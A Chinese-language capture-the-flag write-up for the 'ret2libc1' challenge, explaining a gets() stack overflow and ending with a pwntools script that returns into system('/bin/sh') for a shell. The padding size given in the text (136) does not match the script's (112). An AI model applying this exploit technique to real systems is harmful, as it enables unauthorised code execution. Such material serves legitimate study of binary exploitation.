ret2libc1 system和/bin/sh的利用

1.setvbuf函数 int setvbuf([FILE](*stream, char *buf, int type, unsigned size)
参数:
stream:指向流的指针 ;
buf : 期望缓冲区的地址;
type: 期望缓冲区的类型:
  _IOFBF(满缓冲):当缓冲区为空时,从流读入数据。或者当缓冲区满时,向流写入数 据。
  _IOLBF(行缓冲):每次从流中读入一行数据或向流中写入一行数据。
  _IONBF(无缓冲):直接从流中读入数据或直接向流中写入数据,而没有缓冲区。
size: 缓冲区内字节的数量

分析

ret2libc1 system和/bin/sh的利用_第1张图片
图片.png

1.通过查看源码,我们知道在 gets函数处出现了漏洞
2.在终端里使用gef调试查看栈空间的大小 registers命令

ret2libc1 system和/bin/sh的利用_第2张图片
图片.png

栈空间的大小: 136个字节
我们需要找到我们输入字节的地方:
ret2libc1 system和/bin/sh的利用_第3张图片
图片.png

V4是我们输入字节的地方
思路
关于 libc的文件,我们通常先查找 /bin/sh 字符串和 system函数。
我们在 IDA中通过 ctrl+f搜索 system函数。我们通过 shift+f12调出窗口。我们查找 /bin/sh字符串。
system = 0x08048460
/bin/sh = 0x08048720
填充字节的大小 = 136 byte
数据填写的开始地方 =

布局

from pwn import *


sh = process('./ret2libc1')     运行

binsh_add = 0x08048720
system_plt = 0x08048460

payload = flat(['A'*112,system_plt,'B'*4,binsh_add])

sh.sendline(payload)  
sh.interactive()


补充。在填写数据的时候,先填写垃圾,在调用函数,在返回到我的返回地址(‘B’*4:充当的是虚拟的返回地址。我们只要控制在8个字节里就ok!)。在填写我们需要压入栈中的/bin/sh

你可能感兴趣的:(ret2libc1 system和/bin/sh的利用)